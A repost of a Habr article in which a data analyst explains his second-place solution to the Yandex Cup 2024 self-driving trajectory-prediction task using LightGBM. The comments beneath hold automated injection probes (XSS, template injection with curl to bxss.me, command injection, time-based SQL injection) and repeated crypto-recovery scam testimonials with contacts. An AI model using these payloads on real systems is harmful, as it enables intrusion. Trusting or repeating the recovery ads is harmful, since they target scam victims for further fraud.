Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Прогнозируем движение беспилотного автомобиля (или как я вышел в тройку лидеров на Yandex Cup 2024)

*фотографии чемпионата взяты из телеграм-канала чемпионата

Хабр, привет! Меня зовут Николай Назаров, я работаю аналитиком данных в X5 Tech. Недавно завершился чемпионат по программированию Yandex Cup ML Challenge 2024, в котором я занял второе место в задаче “Self-driving cars: предсказание движения беспилотного автомобиля”. В статье расскажу про задачу и подходы, которые использовал для решения.

Задача

Требовалось обучить модель, позволяющую прогнозировать траекторию движения автомобиля на основе поступающих команд управления, технических характеристик и исторических данных о прошлых проездах транспорта по различным дорогам.

Для обучения было дано описание 42000 сцен продолжительностью около 60 секунд. Описание каждой сцены состоит из трёх файлов:

metadata.json: содержит общую информацию про сцену:

ride_date — дата проезда;
vehicle_id — уникальный идентификатор автомобиля;
vehicle_model — идентификатор модели автомобиля;
vehicle_model_modification — идентификатор модификации модели автомобиля;
tires — идентификатор типа шин;
location_reference_point_id — идентификатор референсной точки, используемой в качестве начала отсчёта координат в файле localization.csv.

localization.csv: описывает траекторию движения автомобиля. Представляет собой csv файл, каждая строчка которого имеет формат:

stamp_ns — время в наносекундах от начала сцены;
x, y, z — координаты центра задней оси автомобиля;
roll, pitch, yaw — углы Эйлера в радианах, описывающие ориентацию автомобиля в пространстве. Угол yaw считается относительно оси x в направлении оси y.

control.csv: описывает последовательность команд управления, отправленных автомобилю:

stamp_ns — время в наносекундах от начала сцены;
acceleration_level — желаемая интенсивность ускорения. Положительные значения соответствуют силе нажатия на педаль газа, отрицательные — силе нажатия на педаль тормоза;
steering — желаемый угол поворота руля в градусах относительно центрального положения.

Пример данных:

На тестирование выделено 8000 сцен продолжительностью 20 секунд. Сцены в тесте также описываются тремя файлами. Данные в control.csv содержат информацию за все 20 секунд, а в localization.csv только за первые 5 секунд. Нужно спрогнозировать значения x, y и yaw оставшихся 15 секунд.

Для оценки качества решения сравнивается близость предсказанных положений автомобиля $p_t=\{x_t, y_y, yaw_t\}$ и записанных в сцене $\hat{p}_t=\{\hat{x}_t, \hat{y}_y, \hat{yaw}_t\}$ . Близость позиций вычисляется как расстояние между предсказанной и записанной позициями на плоскости для двух опорных точек на корпусе автомобиля: $c_1 = \{x; y\}$ и $c_2 = \{x + S \times cos(yaw); y + S \times sin(yaw)\}$ , где длина отрезка между опорными точками, равная 1 метру:

$dist(p, \hat{p}) = \sqrt{\dfrac{||c_1 - \hat{c}_1 ||^2_2 + ||c_2 - \hat{c}_2 ||^2_2}{2}}$

На картинке ниже схематично изображено возможное расположение опорных точек для предсказанного и записанного в сцене положений автомобиля в некоторый момент времени:

Итоговая метрика равна среднему значению похожести траекторий, где похожесть траекторий $D = \{p_t\}_{t=1}^{T_n}$ и $\hat{D} = \{\hat{p}_t\}_{t=1}^{T_n}$ вычисляется по формуле:

$trackdist(D, \hat{D}) = \dfrac{\sum_{t=1}^{T_n} dist( p_t, \hat{p}_t )}{T_n}$

Визуализация данных

Я строил различные графики, чтобы разобраться в данных. Покажу некоторые из них. Для исследования отдельных треков отображал изменение основных параметров в зависимости от времени и непосредственно траекторию движения в координатах (x, y). Для удобства разбивал трек на пятисекундные отрезки и рисовал их разными цветами. На первых шести графиках по оси абсцисс отложено значение времени. На последнем графике с траекторией движения точками отмечены положения с шагом в 1 секунду.

Что можно узнать о треке из этих графиков:

0-5 секунды — жмём на газ, ускоряемся, руль держим прямо, едем прямо;
5-10 секунды — уменьшаем нажатие на газ, переходим на тормоз;
10-20 секунды — жмём на тормоз, скорость падает, делаем небольшие повороты руля влево-вправо, возможно, перестраиваемся на соседнюю полосу;
20-25 секунды — сильно жмём на тормоз, скорость маленькая, фиолетовых точек на траектории движения практически не видно;
25-35 секунды — сильно крутим руль влево, добавляем газу, совершаем разворот;
35-40 секунды — выравниваем руль, продолжаем движение прямо;
40-50 секунды — сбрасываем скорость и затем разгоняемся.

Как думаете, зачем автомобиль тормозил на 40-45 секундах и что произошло на 45-50 секундах? Свою версию и небольшое расследование спрячу под спойлер.

Что же произошло?

На графике высоты z видно, что на 45-47 секундах было два скачка. Также на графике pitch есть резкие перепады. Следуя стереотипам о российских дорогах, я подумал, что водитель притормозил, чтобы аккуратно проехать какой-нибудь дефект дороги: яму или кочку. Нашёл это место на панорамах в Яндекс Картах и был приятно удивлён, увидев “лежачего полицейского”.

Если вы прочитали спойлер, то знаете, что была возможность сопоставить координаты треков с реальными местами на картах. В исходных данных не было привязки к реальным координатам. Были даны идентификаторы референсных точек, используемых в качестве начала отсчёта координат, и, собственно, координаты точек треков. Чтобы сопоставить координаты треков с реальными картами, я построил траектории всех треков для каждой референсной точки. Получив кусочки дорожных карт из траекторий треков, методом внимательного вглядывания в карты городов нашёл похожие паттерны и совместил их.

Можете попробовать повторить мой путь. Свои версии о том, где ездят беспилотники Яндекса, пишите в комментариях. Карты траекторий треков спрячу под спойлер.

Карты траекторий треков

Всего было три локации. Шкалы по осям измеряются в метрах. Ориентация сторон света стандартная, север сверху.

Локация 1

Локация 2

Локация 3

Решение

Чтобы предсказывать траекторию движения, я обучал модели прогнозировать расположение автомобиля через 1 секунду от текущего момента. Для получения новой точки (x, y, yaw) достаточно знать три значения:

на сколько сдвинется центр задней оси автомобиля (speed);
в каком направлении будет смещение задней оси (phi);
новое значение yaw.

Модели предсказывали:

на сколько сдвинется центр задней оси автомобиля (speed);
на сколько изменится направление смещения задней оси phi относительно предыдущего смещения phi_0 (delta_phi);
на сколько изменится yaw относительно предыдущего yaw_0 (delta_yaw).

Зная текущее положение (x_0, y_0, yaw_0), предыдущее направление движения phi_0 и прогнозы моделей (speed, delta_phi, delta_yaw), следующее положение автомобиля вычисляется по формулам:

$\begin{align} &\text{x = x_0 + speed * cos(phi_0 + delta_phi)} \\ &\text{y = y_0 + speed * sin(phi_0 + delta_phi)} \\ &\text{yaw = yaw_0 + delta_yaw} \end{align}$

На картинке ниже изображено, как вычисляются таргеты моделей в момент времени t:

Почему speed и delta_phi, а не dx и dy?

Я прогнозировал скорость и изменение направление движения вместо изменений координат и , так как такой подход выглядит более универсальным. Рассмотрим крайний случай: допустим, в обучающих данных автомобили ездили только с запада на восток. В этом случае будет константой для всех треков, и модель не обучится прогнозировать её изменение. Если в тестовых данных автомобиль поедет по прямой с севера на юг, то с прогнозированием будут трудности.

Сложение и вычитание углов

В исходных данных значения yaw приведены в радианах в диапазоне $[-\pi, \pi]$ . Нужно аккуратно выполнять арифметические операции с углами, иначе в данных могут появиться аномалии. Например, автомобиль поворачивается по часовой стрелке, yaw меняется с $-0.94\pi$ на $0.92\pi$ . Хотим вычислить среднее значение yaw. Если вычислить среднее в лоб, то получим совершенно противоположное направление $-0.01\pi$ вместо $0.99\pi$ .

Чтобы этого избежать, при усреднении углов в окрестности угла $\pi$ , я добавлял $2\pi$ к отрицательным значениям углов. В нашем примере получается $(0.92\pi + (2\pi-0.94\pi))/2 = 0.99\pi$ .

Если после преобразований углы вышли из отрезка $[-\pi, \pi]$ , можно вернуть их на место:

def process_array_phi(phi: np.array):
    phi = phi.copy()
    phi[phi > np.pi] -= 2*np.pi
    phi[phi < -np.pi] += 2*np.pi
    return phi

Почему 1 секунда?

В исходных данных измерения производятся с частотой 25 Гц. С одной стороны, обучение моделей предсказывать с шагом в 1 секунду позволяет уменьшить количество данных, что приведёт к ускорению обучения и инференса. С другой стороны, при агрегации мы теряем часть информации, что может приводить к ухудшению качества прогнозов. Реализовав пайплайн обучения и оценки качества для шага в 1 секунду, попробовал перейти к шагу в 0.5 секунды. Качество от этого не улучшилось, поэтому решил остаться на 1 секунде.

Resample 1s

Чтобы прогнозировать с шагом в 1 секунду, нужно уметь определять положение автомобиля в определённый момент времени. Для этого я аппроксимировал функции x(t), y(t) и yaw(t) полиномами второй степени от времени в окрестности нужной временной точки. В коде это выглядит так:

# values - np.array [[ts, x, y, yaw]]
# ts - время, для которго нужна точка
loc = values[np.abs(values[:, 0] - ts) < 1]
yaws = loc[:, 3]
if yaws.max() - yaws.min() > np.pi:
    loc[yaws < 0, 3] += 2 * np.pi
deg = 2
coefs = np.polyfit(loc[:, 0], loc[:, 1:4], deg)
point = ((ts ** np.arange(deg, -1, -1)) * coefs.T).sum(axis=1)

Чтобы получить значения положения автомобиля в момент времени , делаем следующее:

в 3-ой строке выбираем точки из окрестности ;
в 4-6 строках предобрабатываем углы, чтобы не получить аномалий;
в 7-8 строках строим полиномы второй степени от времени;
в 9-ой строке вычисляем значение в нужной точке.

Пример результата работы приведён на картинке ниже. Синие точки — значения в исходных данных, чёрные точки — положения автомобиля в целое число секунд, вычисленное по описанному алгоритму:

Inference

Зная положения автомобиля в нужные моменты времени, можно вычислить для них фичи и таргеты и обучить модели. Чтобы спрогнозировать траекторию на 15 секунд вперёд, я вычислял признаки для последней известной точки, делал прогнозы на следующую секунду, переходил в новую точку и повторял эти шаги 15 раз. Таким образом получалась траектория с шагом в 1 секунду:

Для формирования сабмита нужно получить значения в промежуточных точках с частотой 25 Гц. Допустим, хотим получить значения в момент времени 17.8 секунды. Я использовал следующий подход:

Берём пару ближайших известных точек. Для 17.8 секунды это 17 и 18 секунд.
Оцениваем скорость движения автомобиля в этих точках. Я просто усреднял скорости за секунду до и после нужного момента времени.
Делаем из известных точек шаг по направлению yaw на малое приращение времени в 0.001 секунды. Получаем две дополнительные точки.
По четырём точкам аппроксимируем функции x(t), y(t) и yaw(t) полиномами второй степени от времени.
Подставляем нужный момент времени 17.8 секунды в получившиеся полиномы, получаем положение автомобиля.

Результат работы алгоритма приведён на картинке ниже. Чёрные точки — результат прогнозов моделей с шагом в 1 секунду, красные точки — оценка положения автомобиля с помощью описанного алгоритма с шагом 0.1 секунда:

Модели и признаки

Для прогнозирования всех трёх таргетов я использовал LightGBM с одинаковыми гиперпараметрами и признаками. Код обучения:

max_bin = 2500
num_boost_round = 350
params = {
    'objective': 'regression',
    'metric': 'rmse',
    'boosting': 'gbdt',
    'verbose': 1,
    'force_col_wise': True,
    #
    'reg_alpha': 0.001,
    'reg_lambda': 0.001,
    'colsample_bytree': 0.95,
    'subsample': 0.95,
    'subsample_freq': 1,
    'min_child_samples': 20,
    'cat_smooth': 150,
    'num_leaves': 2500,
    'max_bin': max_bin,
    'learning_rate': 0.06,
    ‘min_gate_to_split’: 0.00001,
}
models = {
    target_name: lgb.train(
        params,
        lgb.Dataset(
            data=df_params[feature_names],
            label=df_params[target_name],
            categorical_feature=cat_feature_names,
            params={'max_bin': max_bin,}
        ),
        num_boost_round=num_boost_round,
    )
    for target_name in tqdm(target_names)
}

В финальной версии моделей использовал 80 признаков. Шесть признаков из metadata: год, месяц, неделя, идентификатор передних шин, идентификатор автомобиля, идентификатор модификации модели автомобиля. 28 признаков по данным из control.csv: по 14 для силы нажатия на педаль и угла поворота руля. Вычислял среднее в окне [t-2.5, t+1] с шагом 0.25 секунды. На картинке ниже приведена иллюстрация вычисления признаков для момента t=34 . Синяя линия — значения в исходных данных, чёрные горизонтальные линии внутри оранжевых скобок — вычисленные значения признаков:

По данным из файла localization.csv вычислял скорость движения автомобиля, скорости изменения углов phi и yaw, разницу углов phi и yaw, произведение скорости движения и угла поворота руля, изменение высоты за секунду (координата z), а также ряд статистик, посчитанных по значениям углов pitch других треков, которые проезжали рядом с текущими координатами в том же направлении. Для полученных признаков брал шифты на 1 и 2 секунды, то есть использовал дополнительно аналогичные признаки, рассчитанные для прошлой и позапрошлой секунд.

Увеличение датасета

Далее расскажу о двух трюках, которые помогли улучшить результат. Первый — увеличение размера датасета за счёт сдвига по времени. Обучался прогнозировать из 5-ой секунды 6-ую, из 6-ой — 7-ую и так далее. Можно по тем же данным прогнозировать из момента 4.5 секунды на 5.5 секунды, из 5.5 на 6.5 и так далее. По сути, мы просто сдвинули временную шкалу на 0.5 секунды и получили другой набор данных того же размера. Аналогично добавил сдвиги на 0.25 и 0.75 секунды, увеличив исходный датасет в четыре раза. Такой способ увеличения датасета приводит к уменьшению ошибки на валидации. Продемонстрирую это на графике для одной из моделей:

Была идея увеличить датасет в два раза с помощью отзеркаливания траектории относительно оси движения автомобиля. Например, в исходных данных руль повёрнут направо и автомобиль поворачивает направо. Добавляем отзеркаленную ситуацию, где все углы инвертированы: руль повёрнут налево и автомобиль поворачивает налево. Такой подход не улучшил метрики, качество осталось на том же уровне.

Проекции на дороги

Второй трюк, улучшивший качество — проекция на дороги. Получив прогнозы на тестовой выборке, я сравнивал предсказанные траектории с треками из обучения. На картинке ниже приведён пример сравнения. Оранжевые точки — прогнозы, синие — известные треки:

По картинке видно, что небольшая ошибка в предсказании угла движения после поворота со временем накапливается и приводит к большим отклонениям. Я решил исходить из предположения, что автомобили ездят по дорогам и не съезжают далеко за их пределы. Появилась идея при наличии рядом похожих треков проектировать на них предсказанный трек, если он отклоняется в сторону. Для этого я брал последнюю точку посекундного прогноза и искал ближайшую похожую точку известных треков. Если расстояние между точками большое, то, возможно, эта точка уже с другой дороги, поэтому делать проекцию на неё не нужно. Если расстояние было от 0.5 до 30 метров, запоминаем найденную точку. Продолжаем перебирать точки спрогнозированного трека, пока они не станут ближе 0.5 метра к известным точкам. После этого строим линейное приближение точек трека, строим линейное приближение найденных ближайших точек, вычисляем угол между этими прямыми и поворачиваем точки спрогнозированного трека на этот угол.

На картинке ниже приведена иллюстрация описанного алгоритма. Оранжевые точки — посекундные прогнозы, чёрные точки — проекции прогнозов на известные треки, в чёрный кружок выделена точка, которая стала ближе 0.5 метров к точкам известных треков:

Результат применения такой постобработки приведён на картинке ниже. Уходящие с дороги треки исчезли. Это помогло улучшить public score с 0.87 до 0.79.

Результаты

Судя по лидерборду, в соревновании участвовали 139 человек. 61 участник смог побить baseline (private score 16.87). Решение, описанное в статье, позволило получить private score 0.81 и занять второе место. Private score победителя равен 0.70.

Источник

Теги

Категория

Новости

Дата

31 янв. 2025 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

